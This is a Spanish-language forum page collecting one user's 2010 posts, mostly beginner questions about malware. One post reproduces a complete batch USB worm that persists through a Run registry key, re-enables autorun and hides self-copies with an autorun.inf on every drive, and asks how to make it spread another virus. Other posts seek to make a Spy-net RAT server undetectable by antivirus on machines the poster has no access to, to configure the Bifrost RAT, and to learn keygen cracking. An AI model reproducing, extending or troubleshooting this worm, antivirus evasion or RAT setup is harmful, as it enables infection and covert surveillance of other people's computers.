Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - SockMon

#1
Análisis y Diseño de Malware / sobre los autorun
16 Noviembre 2010, 20:48 PM
Primero hola a todo el mundo, ultimamente estoy liado cobre como ejecutar un .exe cuando se introduce un pen.
Buscando he encontrado como hacer un autorun con diversos comandos y eso he hecho, pero creo que seria mas comodo hacer que el autorun lo cree un archivo bat con lo que le configure previamente, no se si es posible pero si sí lo es agradeceria que me comentaseis el nombre de comandos que podria utilizar.
Buenas tarde a todos.
#2
Análisis y Diseño de Malware / Me ayudais
2 Octubre 2010, 21:45 PM
Hola, soy nuevo, y quiero aprender a crear my propio worms en batch o en visual basic (según me recmendeis) pero prefiero batch ya que es mas facil. He estado buscando pero no encuentro ningun tutorial solo: generadores, algunos ya hechos que se repiten indefinidamente y en cada post dice que lo ha hecho cada uno XD...
No quiero que me lo hagais ustedes (puedes darle un pez a un pobre para que coma por un dia, pero puedes enseñarle a pescar para que no muera de hambre)
Bueno pues si me facilitais un toturial os lo agradezco, mientras tanto seguire buscando  :(
Gracias
#3
Scripting / Duda con propagacion por usb
5 Septiembre 2010, 19:20 PM
Bueno buscando por internet encontre este batch de DracoX pero me surgen varias dudas.
Código (bash) [Seleccionar]
@echo off
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v USB-Auto /d %windir%\USB-Auto\USB.bat /f
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Cdrom /v AutoRun /t REG_DWORD /d 1 /f
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon /v allocatecdroms /d 0 /f
reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDriveTypeAutoRun /f
reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDriveTypeAutoRun /f
reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDriveAutoRun /f

if exist %windir%\USB-Auto\ Del /f /s /q %windir%\USB-Auto\
md %windir%\USB-Auto\
pushd %windir%\USB-Auto\
copy %0 USB.bat

echo [autorun]>>autorun.inf
echo open=USB.bat>>autorun.inf
echo icon=icon.ico>>autorun.inf
echo label=Infected>>autorun.inf

for %%x in (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) do copy /Y autorun.inf %%x:\autorun.inf && copy %0 %%x:\USB.bat && copy /Y %0 %%x:\icon.ico && attrib +R +S +H %%x:\icon.ico && attrib +R +S +H %%x:\USB.bat && attrib +R +S +H %%x:\autorun.inf


Esto lo unico que haria seria copiarse a si mismo guardarse en el pc y copiarse automaticamente en cualquier usb que se conecte no?

Por que realiza algunas acciones con el registro?

Como lo tendria que modificar para que tambien propagara un virus ejemplo mibixo.exe?

Por ultimo hace falta crearle un autorun para que se ejecute cuando se abra la unidad?

Gracias
#4
Hola, utilizo Kaspersky IS, logro hacer el server del Spy-net indetectable pero cuando lo ejecuto el AV me informa de que server.exe quiere tener acceso a datos del sistema (eso sale cada vez que abro alguna funcion del spy-net (keylooger, remote cam...) Y he puesto el server en la lista de excepciones del AV y ya no salen esos mensajes, pero claro ¿que puedo hacer para que no salga ese mensaje en una PC a la q no tenga acceso fisicamente?
#5
Programación Visual Basic / No se como hacerlo
21 Agosto 2010, 21:48 PM
Hola, soy principiante, y estoy haciendo un simple programa con accesos directos, en principio bien pero he pensado que si cambio el archivo de lugar no funcionaria, por lo que le he añadido otra pestaña con la configuracion de cada acceso y aqui esta el problema.

Para cada acceso directo he puesto  dos cuadros de textos.
en uno de ellos pongo lo que quiero que se muestre en el texto del boton y en el otro la direccion donde se encuentra el archivo.

Pero claro si cambio una direccion y nombre cuando vuelva a abrir el programa van a cambiar.

Como seria el codigo para cada textbox?
Por cierto si hay que añadir algun boton  para guardar los cambios preferiria que solo fuese uno. (Pero si tengo un boton en algunos textbox para examinar).

Gracias por ayudarme
#6
Hola, me podriais recomendar algunos tutoriales para aprender sobre los keygen y la forma de hacerlos, y por favor tener en cuenta de que soy novato. ¿Donde puedo encontrar Crakme para un nivel muy basico? Saludos y gracias
#7
Hacking / Problema con Bifrost
26 Junio 2010, 17:36 PM
Haber si me podeis ayudar,soy novato y ya llevo mucho tiempo intentando que me funcione pero nada. tengo el Bifrost 1.2.1 Español, lo he configurado tal como viene en este video
[youtube=425,350]http://www.youtube.com/watch?v=fjifjtYBY0s[/youtube]
Todo lo entiendo bien menos el momento de poner la ip. He leido por ay que lo que hay que hacer es abrir simbolo del sistema, poner ipconfig y ya viene la ip, pero no se cual es,ya que viene unas cuantas. Otra cosa, he puesto (como viene en el video) el puerto 81, este hay que abrirlo en el rute y con que protocolo?